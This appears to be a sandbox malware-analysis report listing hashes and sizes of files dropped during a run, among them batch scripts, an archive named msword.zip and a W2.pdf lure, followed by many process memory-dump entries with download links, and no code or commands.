8db19310817378bcf4f59f7e6e8ac65e3bad8e2f

SHA256
27d2e36b97dba2657d797098d919f7c76893713537ff4aba5f38cb48bc542ef9

SHA512
c982a98ae76f1dc6459f868c9f7b79d9cd3372c2045fd10fa1a876ec03367f77e4be9ccd27bbeaeb58e8c3c06e838a7de44057069f8cf1e7925cea14397e0962

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_204gfde2.5j5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cleanup.bat

Filesize
170B

MD5
63673ea7bc3c3ceb411c3d8b3815c74e

SHA1
be80cd9fdbd85d2288faa1d6f52ab5d3e7351864

SHA256
411864785adc0d1555e58724ff0c710c1b9758e93c6d816c6a1b7b04728c5a0b

SHA512
68d6496b608df962942ac1f9af1fdbe2223b7540d1ec3f293281f184d5fc96e0e6c4baa001a452a66d20684e8ca0148c0abf027a4d051262df42b24b3222cea5

Download Submit
C:\Users\Admin\AppData\Local\Temp\isiijgwqiin

Filesize
4KB

MD5
c3c5f2de99b7486f697634681e21bab0

SHA1
00f90d495c0b2b63fde6532e033fdd2ade25633d

SHA256
76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

SHA512
7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\msword.zip

Filesize
3.3MB

MD5
ef2620f66230219a51a6c2055066c3c3

SHA1
394657c478086158830be943c09630488be56366

SHA256
b9c27330ed8eae02a918901435a2d1f98ee20cb2390d9f69fc45a043f2009a5b

SHA512
c20357671e243aad4a68251a6c49ec9bd69fbfbef104bd73ca6903003d558159c2b5417924cc6228fbb5a8750fe3f24246c8a7686a823e27e7db80eae351023a

Download Submit
C:\Users\Admin\AppData\Local\Temp\temp.bat

Filesize
498B

MD5
e8dfdb915a523a09e139aaa900991ddd

SHA1
d23f4798c549bfb7ddd968c4c2a971f67468a662

SHA256
91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e

SHA512
b4e737d1c80420688bf856df02a580b691d120307b7d31ea4766448ccd0c6eec7b2c48424691e92dffba58ca8c9a8df989f5b683d9363cac37d3dd3e5ad1623e

Download Submit
C:\Users\Admin\Downloads\W2.pdf

Filesize
384KB

MD5
57f09ea46c7039ea45bb3fd01bbd8c80

SHA1
1365ff5e6e6efc3e501d350711672f6a232aa9f8

SHA256
3850e8022e3990b709da7cddbfd3f830eb86f34af89d5939e2999c1e7de9766f

SHA512
6de0acd9d03bde584a7b2c2c7781530ba7504622b518523993311ad6174d2a9890e9d230a2a3a51d76615111a9f62259a9615378440690f20708b201b19a17f8

Download Submit
memory/1924-949-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1924-955-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1924-953-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2836-116-0x0000000005AB0000-0x0000000005AC1000-memory.dmp

Filesize
68KB

Download
memory/2836-120-0x0000000007330000-0x000000000733A000-memory.dmp

Filesize
40KB

Download
memory/2836-119-0x0000000007340000-0x0000000007352000-memory.dmp

Filesize
72KB

Download
memory/2836-118-0x0000000008230000-0x00000000087D4000-memory.dmp

Filesize
5.6MB

Download
memory/2836-117-0x00000000072C0000-0x00000000072E2000-memory.dmp

Filesize
136KB

Download
memory/2836-115-0x0000000007220000-0x00000000072B6000-memory.dmp

Filesize
600KB

Download
memory/2836-114-0x0000000007000000-0x000000000700A000-memory.dmp

Filesize
40KB

Download
memory/2836-113-0x0000000006ED0000-0x0000000006F73000-memory.dmp

Filesize
652KB

Download
memory/2836-112-0x0000000006BE0000-0x0000000006BFE000-memory.dmp

Filesize
120KB

Download
memory/2836-102-0x0000000069D10000-0x0000000069D5C000-memory.dmp

Filesize
304KB

Download
memory/2836-101-0x0000000006C20000-0x0000000006C52000-memory.dmp

Filesize
200KB

Download
memory/3288-942-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-923-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-980-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-979-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-976-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-971-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-970-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3288-969-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3288-966-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/3288-947-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-946-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-945-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-937-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-894-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-895-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-896-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-898-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-899-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-897-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-900-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-903-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-904-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-905-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-906-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-907-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-909-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-913-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-914-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-915-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-916-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-918-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-919-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-922-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-936-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-925-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-926-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-927-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-928-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-933-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-931-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3288-932-0x0000000004000000-0x000000000407F000-memory.dmp

Filesize
508KB

Download
memory/3448-36-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

Filesize
3.3MB

Download
memory/3448-39-0x00000000076B0000-0x0000000007D2A000-memory.dmp

Filesize
6.5MB

Download
memory/3448-40-0x0000000006570000-0x000000000658A000-memory.dmp

Filesize
104KB

Download
memory/3448-38-0x00000000060B0000-0x00000000060FC000-memory.dmp

Filesize
304KB

Download
memory/3448-37-0x0000000006060000-0x000000000607E000-memory.dmp

Filesize
120KB

Download
memory/3448-25-0x000000006FC30000-0x00000000703E0000-memory.dmp

Filesize
7.7MB

Download
memory/3448-24-0x00000000059C0000-0x0000000005A26000-memory.dmp

Filesize
408KB

Download
memory/3448-22-0x0000000005220000-0x0000000005848000-memory.dmp

Filesize
6.2MB

Download
memory/3448-23-0x00000000051B0000-0x00000000051D2000-memory.dmp

Filesize
136KB

Download
memory/3448-26-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/3448-44-0x000000006FC30000-0x00000000703E0000-memory.dmp

Filesize
7.7MB

Download
memory/3448-19-0x000000006FC3E000-0x000000006FC3F000-memory.dmp

Filesize
4KB

Download
memory/3448-20-0x0000000002A80000-0x0000000002AB6000-memory.dmp

Filesize
216KB

Download
memory/3448-21-0x000000006FC30000-0x00000000703E0000-memory.dmp

Filesize
7.7MB

Download
memory/3836-956-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3836-954-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3836-951-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4052-48-0x0000000005DB0000-0x0000000006104000-memory.dmp

Filesize
3.3MB

Download
memory/4052-59-0x0000000006980000-0x00000000069CC000-memory.dmp

Filesize
304KB

Download
memory/4152-960-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4152-957-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4152-959-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4428-892-0x0000000004280000-0x000000000452B000-memory.dmp

Filesize
2.7MB

Download
memory/4428-893-0x0000000004280000-0x00000000043CD000-memory.dmp

Filesize
1.3MB

Download